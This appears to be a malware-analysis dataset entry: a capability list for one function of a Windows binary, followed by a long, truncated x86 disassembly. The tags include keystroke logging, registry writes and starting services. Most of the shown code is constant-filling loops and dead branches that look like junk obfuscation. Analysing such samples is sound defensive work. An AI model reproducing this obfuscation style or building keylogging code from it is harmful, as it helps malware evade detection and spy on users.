Function at 0x435719
Capabilities:
Accept command line arguments
Allocate thread local storage
Check os version
Connect pipe
Create directory
Delete directory
Enumerate gui resources
Get disk information
Get file attributes
Get geographical location
Get graphical window text
Identify system language via api
Log keystrokes
Query environment variable
Query service status
Read .ini file
Resume thread
Set registry value
Set thread local storage value
Start service
Suspend thread

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2844
call fcn.004bd230
movdqa xmm0, xmmword [0xab92a0]
lea eax, [ebp - 0x1ea4]
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x1eb4]
mov dword [ebp - 0x5c], ecx
push eax
lea ecx, [ebp - 0x2460]
mov byte [ebp - 0xb1], dl
movdqu xmmword [ebp - 0x1eb4], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x50c]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xde8]
push dword [esi]
call fcn.00415b99
push 3
pop esi
mov dword [ebp - 0x1c], 0xffffffff
xor eax, eax
push 2
mov dword [ebp - 0x18], 0xcd04cd02
mov ecx, 0x2751c76d
mov dword [ebp - 0x1c], eax
pop edi
jmp 0x4358d4
mov dword [ebp - 0xb88], ecx
mov dword [ebp - 0xb84], ecx
mov dword [ebp - 0xb80], ecx
mov dword [ebp - 0xb7c], ecx
mov dword [ebp - 0x20], 0x83afd470
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x4357db
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x196c], 0xbf24
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x4357c3
xor eax, eax
mov dword [ebp - 0xb88], esi
cmp dword [ebp - 0xb88], eax
jl 0x4358d1
mov dword [ebp - 0x3c], edi
lea ecx, [ebp - 0x1578]
push esi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
jmp 0x43581a
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1578]
call fcn.00415bdb
mov dword [eax], 0xb1b5
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x435803
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xde8]
call fcn.00415bdb
lea ecx, [ebp - 0xde8]
mov dword [eax], 0x4215e1ab
mov eax, dword [ebp - 0x1c]
xor eax, eax
push eax
call fcn.00415bdb
mov esi, dword [ebp - 0x3c]
xor ecx, ecx
push edi
cmp dword [eax], 0xd982
sete cl
sub esi, ecx
lea ecx, [ebp - 0x1578]
neg esi
sbb esi, esi
neg esi
call fcn.00415bdb
mov ecx, dword [ebp - 0x1968]
mov edi, eax
xor edx, edx
dec dword [edi]
cmp ecx, esi
setle dl
xor ecx, ecx
cmp edx, 0xd7d2
setg cl
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0xde8]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x18], eax
push dword [ebp - 0x1c]
call fcn.00415bdb
mov ecx, dword [ebp - 0x18]
xor edx, edx
cmp dword [edi], ecx
sete dl
xor ecx, ecx
cmp dword [eax], edx
sete cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x1578]
call fcn.00415bbf
dec dword [ebp - 0xb88]
push 2
pop edi
push 3
pop esi
jns 0x4357ed
xor eax, eax
mov ecx, 0x2751c76d
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jle 0x43579c
lea ecx, [ebp - 0xde8]
call fcn.00415bbf
mov dword [ebp - 0x30], 0x4eb4c8f0
lea ecx, [ebp - 0x1924]
mov dword [ebp - 0x30], 0xad38dc53
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x30], 0x3a065c2d
push 4
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x30], 0xefcdf11b
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jge 0x43593a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1980], 0x367f5ed9
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x435922
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 4
jge 0x435962
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1924]
call fcn.00415bdb
mov dword [eax], 0xf823aaf5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 4
jl 0x435943
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x435972
push eax
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
mov eax, dword [ebp - 0x1980]
lea ecx, [ebp - 0x1924]
dec eax
neg eax
sbb eax, eax
add eax, 0xffff000a
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
call fcn.00415bbf
push edi
lea ecx, [ebp - 0x1590]
call fcn.00415aed
mov dword [ebp - 0x20], 0xffffffff
xor eax, eax
mov dword [ebp - 0x30], 0xfffffffb
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x4359d7
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1590]
call fcn.00415bdb
mov dword [eax], 0xfffffff7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4359b9
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x4359f7
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2580], 0x5cd53bc6
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x4359df
xor eax, eax
xor ebx, ebx
mov dword [ebp - 0x14], eax
inc ebx
cmp dword [ebp - 0x14], ebx
jge 0x435a20
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x698], 0xf2d3f504
xor eax, eax
inc dword [ebp - 0x14]
inc eax
cmp dword [ebp - 0x14], eax
jl 0x435a02
xor ebx, ebx
xor eax, eax
inc ebx
push eax
lea ecx, [ebp - 0x1590]
call fcn.00415bdb
lea ecx, [ebp - 0x1590]
mov eax, dword [eax]
mov dword [ebp - 0x20], eax
dec dword [ebp - 0x698]
call fcn.00415bbf
mov dword [ebp - 0x10], 0x860b4ffb
xor eax, eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x20], 0x13b28858
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x435a75
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x2818], 0
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x435a5d
xor eax, eax
mov dword [ebp - 0x10], eax
jmp 0x435a87
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 0xa3399244
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jle 0x435a7a
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xa
jle 0x435b78
mov dword [ebp - 0x2c], 0xd085c9e5
mov dword [ebp - 0x30], 0xc1d6b3bf
mov dword [ebp - 0x30], 0x512a30a4
mov dword [ebp - 0x18], 0x12de
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x435acb
push eax
push 0xcad
push eax
call dword [sym.imp.OLEAUT32.dll_SafeArrayDestroy]
mov dword [ebp - 0x2c], 0xc
jmp 0x435b5e
push esi
lea ecx, [ebp - 0x1e38]
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edi
jge 0x435b05
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x710], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edi
jl 0x435aed
xor eax, eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x435b27
push dword [ebp - 0xc]
lea ecx, [ebp - 0x1e38]
call fcn.00415bdb
mov dword [eax], ebx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x435b0d
xor eax, eax
mov dword [ebp - 0x70c], edi
cmp dword [ebp - 0x70c], eax
jl 0x435b47
mov dword [ebp - 0x30], 0x87fce6bb
dec dword [ebp - 0x18]
dec dword [ebp - 0x70c]
jns 0x435b35
mov eax, dword [ebp - 0x70c]
lea ecx, [ebp - 0x1e38]
mov dword [ebp - 0x20], eax
call fcn.00415bbf
dec dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xffffffe7
jl 0x435ad7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xa
push 0
pop eax
jg 0x435a99
mov dword [ebp - 0xba4], eax
lea ecx, [ebp - 0x1934]
mov dword [ebp - 0xba0], eax
mov dword [ebp - 0xb9c], eax
mov dword [ebp - 0xb98], eax
xor eax, eax
mov dword [ebp - 0x30], 0xfffffff7
inc eax
mov dword [ebp - 0x30], 0x7a7c2039
mov dword [ebp - 0x30], 0x2167fa5c
mov dword [ebp - 0x30], 0x666a756a
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x30], 6
mov dword [ebp - 0x30], eax
push 4
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x18], 0xaaf5bfb6
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
push 7
pop ebx
jge 0x435bfd
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1934]
call fcn.00415bdb
mov dword [eax], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x435be2
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], 0
je 0x435c20
push 0x369
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polygon]
inc dword [ebp - 0x18]
lea ecx, [ebp - 0x1934]
call fcn.00415bbf
xor eax, eax
mov dword [ebp - 0x38], 0x5052061f
inc eax
mov dword [ebp - 0x1c], 0x7e2799ac
mov dword [ebp - 0x24], eax
lea ecx, [ebp - 0x15a8]
mov dword [ebp - 4], 0xfffffffa
push edi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x20], 0xcd1b7e2
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edi
jge 0x435c85
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x15a8]
call fcn.00415bdb
xor edx, edx
inc edx
mov dword [eax], edx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x435c66
xor eax, eax
jmp 0x435c88
xor edx, edx
inc edx
mov dword [ebp - 0x1c], edi
jmp 0x435ca5
mov dword [ebp - 0x20], 0x14d2edc7
cmp dword [ebp - 0x20], eax
jne 0x435cab
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
dec dword [ebp - 0x1c]
push 0
pop eax
cmp dword [ebp - 0x1c], 0xffffffe3
jg 0x435c8d
cmp dword [ebp - 4], eax
je 0x435cbd
mov dword [ebp - 0x1c], 8
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 4]
xor ecx, ecx
cmp eax, edx
setle cl
xor edx, edx
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
mov esi, dword [ebp - 0x24]
lea ecx, [ebp - 0x15a8]
setl dl
xor eax, eax
inc eax
add esi, edx
push eax
call fcn.00415bdb
mov dword [eax], esi
xor eax, eax
test esi, esi
je 0x435cfd
cmp dword [ebp - 0x24], eax
je 0x435cfd
lea edx, [eax + 1]
jmp 0x435cff
mov edx, eax
mov eax, dword [ebp - 0x24]
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 0x20], ecx
lea ecx, [ebp - 0x15a8]
call fcn.00415bbf
xor eax, eax
mov dword [ebp - 0x18], 0x9d5fac12
inc eax
mov dword [ebp - 0xc], 0xffffffff
mov dword [ebp - 0x1c], 0xfffc
lea ecx, [ebp - 0x1040]
push eax
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x20], 0x99e68fc7
xor ecx, ecx
mov dword [ebp - 0x2c], eax
inc ecx
cmp dword [ebp - 0x2c], ecx
jge 0x435d70
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x1040]
call fcn.00415bdb
or dword [eax], 0xffffffff
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x435d4f
xor ecx, ecx
xor eax, eax
inc ecx
mov dword [ebp - 0xc], eax
jmp 0x435f05
mov dword [ebp - 0x10], 0xcd53bc6e
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x18], 0x299e885d
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], ecx
jge 0x435dac
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x664], 0x951ad386
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x435d91
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], eax
jl 0x435e2a
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0x664], 0
jne 0x435dcf
mov eax, dword [ebp - 0xc]
xor eax, eax
cmp dword [ebp - 0xc], eax
jne 0x435dcf
mov esi, eax
jmp 0x435dd4
xor eax, eax
lea esi, [eax + 1]
mov eax, dword [ebp - 0x1c]
xor edx, edx
imul eax, dword [ebp - 0x1c]
cmp eax, 0xebf0
mov eax, dword [ebp - 0xc]
setne dl
xor ecx, ecx
cmp edx, eax
setle cl
xor eax, eax
cmp esi, ecx
setl al
xor edx, edx
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp + eax*4 - 0x664]
mov eax, dword [ebp - 0x44]
cmp ecx, eax
lea ecx, [ebp - 0x1040]
setg dl
xor eax, eax
mov dword [ebp - 0x18], edx
push eax
call fcn.00415bdb
mov ecx, dword [ebp - 0x18]
mov dword [eax], ecx
dec dword [ebp - 0x10]
jns 0x435db4
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x25
jl 0x435eff
movdqa xmm0, xmmword [str._t_t_t_t]
lea ecx, [ebp - 0x2470]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2144]
push eax
lea eax, [ebp - 0x2154]
push eax
movdqu xmmword [ebp - 0x2154], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x40c]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0x15c0]
push dword [esi]
call fcn.00415b99
mov eax, dword [ebp - 4]
xor eax, eax
cmp dword [ebp - 0x44], eax
je 0x435eb7
push 3
lea ecx, [ebp - 0x15c0]
call fcn.00415bdb
mov edx, dword [ebp - 4]
xor ecx, ecx
sub edx, dword [ebp - 0xc]
and dword [eax], 0
mov eax, dword [ebp - 4]
cmp edx, eax
setne cl
mov dword [ebp - 0x10], ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
push 3
lea ecx, [ebp - 0x15c0]
call fcn.00415bdb
mov esi, eax
lea ecx, [ebp - 0x1040]
xor eax, eax
push eax
call fcn.00415bdb
mov ecx, dword [esi]
mov dword [eax], ecx
lea ecx, [ebp - 0x15c0]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x20], eax
call fcn.00415bbf
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0x25
push 0
pop eax
jge 0x435e37
dec dword [ebp - 0xc]
push 1
pop ecx
cmp dword [ebp - 0xc], 0xfffffff2
je 0x435d78
lea ecx, [ebp - 0x1040]
call fcn.00415bbf
mov dword [ebp - 0x18], 0x932e3ca3
lea ecx, [ebp - 0x1dd8]
push edi
call fcn.00415aed
mov dword [ebp - 0x44], 0xeef20fe6
lea ecx, [ebp - 0x16ec]
mov dword [ebp - 0x3c], 0xf6
push edi
call fcn.00415aed
push 3
pop esi
push esi
lea ecx, [ebp - 0x1944]
call fcn.00415aed
mov dword [ebp - 0x20], 0x5616d21b
lea ecx, [ebp - 0x1d08]
push esi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x435f91
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1dd8]
call fcn.00415bdb
mov dword [eax], 0x571177e8
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x435f73
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], edi
jge 0x435fb7
push dword [ebp - 0x14]
lea ecx, [ebp - 0x16ec]
call fcn.00415bdb
mov dword [eax], 0x4bb489f7
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], edi
jl 0x435f99
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x435fdd
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1944]
call fcn.00415bdb
mov dword [eax], 0x93208af0
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x435fbf
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x435ffd
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x2740], 0x8951bb35
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x435fe5
xor eax, eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], esi
jge 0x436023
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1d08]
call fcn.00415bdb
mov dword [eax], 0xc01e07ad
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], esi
jl 0x436005
xor eax, eax
mov dword [ebp - 0x44], eax
mov ebx, 0xbb9a67b9
xor eax, eax
inc eax
cmp dword [ebp - 0x44], eax
jg 0x4360ef
jmp 0x43603c
xor eax, eax
inc eax
mov dword [ebp - 0x18], 0xfffffffa
lea ecx, [ebp - 0x16d4]
mov dword [ebp - 0x40], 0x3c6daafd
push eax
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
inc eax
cmp dword [ebp - 0x2c], eax
jge 0x436080
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x16d4]
call fcn.00415bdb
mov dword [eax], 4
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x436061
dec dword [ebp - 0x3c]
lea ecx, [ebp - 0x16ec]
push eax
call fcn.00415bdb
xor eax, eax
lea ecx, [ebp - 0x16d4]
mov dword [ebp - 0x18], eax
push eax
call fcn.00415bdb
mov ecx, dword [ebp - 0x18]
xor edx, edx
add ecx, dword [ebp - 0x3c]
mov esi, eax
mov eax, dword [ebp - 0x20]
test ecx, ecx
setg dl
xor ecx, ecx
cmp edx, 0xffffffff
setle cl
cmp ebx, ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x40]
setl dl
xor ecx, ecx
cmp edx, eax
setg cl
mov dword [esi], ecx
lea ecx, [ebp - 0x16d4]
call fcn.00415bbf
inc dword [ebp - 0x44]
xor eax, eax
inc eax
cmp dword [ebp - 0x44], eax
jle 0x436039
push 3
pop esi
lea ecx, [ebp - 0x1d08]
call fcn.00415bbf
lea ecx, [ebp - 0x1944]
call fcn.00415bbf
lea ecx, [ebp - 0x16ec]
call fcn.00415bbf
lea ecx, [ebp - 0x1dd8]
call fcn.00415bbf
mov dword [ebp - 0x3c], 0x49c23edb
xor eax, eax
inc eax
mov dword [ebp - 0x10], eax
xor eax, eax
mov dword [ebp - 0x4c], 0x448112de
mov dword [ebp - 0x54], 0xfff7
mov dword [ebp - 0x30], 0xfd6f
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 4
jge 0x436161
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x10cc], 0x6847
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 4
jl 0x436148
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], esi
jg 0x4361ff
xor eax, eax
xor edi, edi
inc eax
xor ecx, ecx
mov dword [ebp - 0x20], eax
inc edi
mov dword [ebp - 0x3c], 0xfffffffe
mov dword [ebp - 0x20], 0x9c8ddac0
mov dword [ebp - 0x20], 0x3250e6da
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x10cc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x10cc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x10cc]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp + eax*4 - 0x10cc]
cmp eax, edi
mov eax, dword [ebp - 0x10]
setne cl
sub eax, ecx
neg eax
sbb eax, eax
inc eax
neg eax
jne 0x4361cf
xor eax, eax
cmp dword [ebp - 0x3c], eax
je 0x4361d2
xor eax, eax
inc eax
cmp eax, dword [ebp - 0x4c]
jg 0x4361e1
xor eax, eax
cmp dword [ebp - 0x10], eax
je 0x4361e3
inc eax
jmp 0x4361e3
xor eax, eax
neg eax
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], esi
jle 0x43616d
push 2
xor eax, eax
pop edi
mov ecx, 0xffff
add dword [ebp - 0x10], ecx
je 0x436247
mov dword [ebp - 0x18], 0xfa025ec5
xor edx, edx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x54]
neg ecx
cmp eax, ecx
setl dl
xor eax, eax
cmp edx, 0xffffffff
setl al
mov dword [ebp - 0x10], eax
xor eax, eax
mov byte [ebp - 0x31], al
cmp byte [ebp - 0x31], al
je 0x4362b6
push eax
push eax
push 0xe65
push eax
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
jmp 0x4362b6
mov dword [ebp - 0x10], 0x80254f8
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x183c], eax
mov dword [ebp - 0x1838], eax
mov dword [ebp - 0x1834], eax
mov dword [ebp - 0x1830], eax
cmp dword [ebp - 0x10], eax
jne 0x436295
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
add ecx, ecx
sub eax, ecx
cmp eax, dword [ebp - 0x10]
je 0x436280
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10c4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1838], eax
mov dword [ebp - 0x24], 0xffffffff
xor eax, eax
mov dword [ebp - 0x1c], 0xf34fda0e
inc eax
mov dword [ebp - 0x10], eax
mov ecx, 0xa7b051af
mov dword [ebp - 0x40], 0x681c
mov dword [ebp - 0x18], 0x969e0cd
mov dword [ebp - 0x50], 0x58d3b3e2
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x24]
je 0x436354
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x20], 0xffffffff
mov dword [ebp - 0x20], 0xfffffff8
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x24]
cmp ecx, eax
mov eax, dword [ebp - 0x3c]
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
setne dl
xor ebx, ebx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setle bl
xor ecx, ecx
cmp eax, ebx
setge cl
mov dword [ebp - 0x18], ecx
mov ecx, edi
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x10]
sub ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x436413
movdqa xmm0, xmmword [0xab9290]
lea eax, [ebp - 0x1ee4]
push eax
lea eax, [ebp - 0x1ef4]
push eax
lea ecx, [ebp - 0x2700]
movdqu xmmword [ebp - 0x1ef4], xmm0
call fcn.00415bed
lea ecx, [ebp - 0x445]
mov esi, eax
call fcn.00415bea
push eax
push dword [esi + 4]
lea ecx, [ebp - 0xb58]
push dword [esi]
call fcn.00415b99
xor eax, eax
push 3
mov dword [ebp - 0x10], eax
pop esi
jmp 0x436403
mov dword [ebp - 0x18], 0x514faf14
mov dword [ebp - 0x20], 0xb4cf22a1
push dword [ebp - 0x10]
call fcn.00415bdb
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb58]
call fcn.00415bdb
push dword [ebp - 0x10]
lea ecx, [ebp - 0xb58]
call fcn.00415bdb
xor ecx, ecx
cmp dword [eax], 0x3e469209
setne cl
mov dword [ebp - 0x18], ecx
lea ecx, [ebp - 0xb58]
push dword [ebp - 0x10]
call fcn.00415bdb
mov ecx, dword [ebp - 0x18]
sub ecx, dword [eax]
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x20], ecx
inc dword [ebp - 0x10]
lea ecx, [ebp - 0xb58]
cmp dword [ebp - 0x10], esi
jle 0x4363a5
call fcn.00415bbf
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x40]
imul eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x1c]
jne 0x43642d
cmp dword [ebp - 0x10], eax
je 0x436430
xor eax, eax
inc eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
sub ecx, eax
cmp ecx, dword [ebp - 0x24]
jle 0x43644b
xor eax, eax
cmp dword [ebp - 0x10], eax
jne 0x43644b
mov ecx, eax
jmp 0x436450
xor eax, eax
lea ecx, [eax + 1]
push 7
xor eax, eax
pop edx
cmp ecx, edx
setg al
cmp eax, dword [ebp - 0x10]
jle 0x436462
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], esi
jg 0x436c4c
jmp 0x436481
push 2
pop edi
push 7
pop edx
push 0xfffffffffffffffa
pop ebx
mov dword [ebp - 0x10], ebx
lea ecx, [ebp - 0xe00]
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x1c], 0x574417f9
mov dword [ebp - 0x10], edx
push esi
call fcn.00415aed
xor eax, eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], esi
jge 0x4364c5
push dword [ebp - 0x2c]
lea ecx, [ebp - 0xe00]
call fcn.00415bdb
or dword [eax], 0xffffffff
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], esi
jl 0x4364aa
xor eax, eax
xor edx, edx
mov dword [ebp - 0x14], eax
inc edx
cmp dword [ebp - 0x14], edx
je 0x4366e4
jmp 0x4364d8
xor eax, eax
mov dword [ebp - 0x28], edx
mov dword [ebp - 0x3c], 0x1ad7ba96
mov dword [ebp - 0x20], 8
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], edx
jge 0x43650c
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x70], 0xffffffff
xor eax, eax
inc dword [ebp - 0x2c]
inc eax
cmp dword [ebp - 0x2c], eax
jl 0x4364f1
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0x70], 0xffffffec
cmp dword [ebp - 0x70], 0xfffffffd
jl 0x4366d3
jmp 0x436521
xor eax, eax
mov dword [ebp - 0x2c], ebx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], edx
jge 0x43654a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0xc50], 0x650ba430
xor eax, eax
inc dword [ebp - 0xc]
inc eax
cmp dword [ebp - 0xc], eax
jl 0x43652c
xor edx, edx
xor eax, eax
inc edx
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], esi
jge 0x43656a
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x1954], 0xffffffff
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], esi
jl 0x436552
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x4365ed
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp - 0x70]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, edx
setle cl
mov dword [ebp - 0x3c], ecx
mov eax, dword [ebp - 0x70]
cmp dword [ebp - 0x3c], eax
jg 0x4365b1
xor eax, eax
cmp dword [ebp - 0x70], eax
je 0x4365b3
inc eax
jmp 0x4365b3
xor eax, eax
mov edx, dword [ebp - 0x2c]
xor ecx, ecx
add edx, eax
mov eax, dword [ebp - 0x70]
cmp edx, eax
setne cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x10], eax
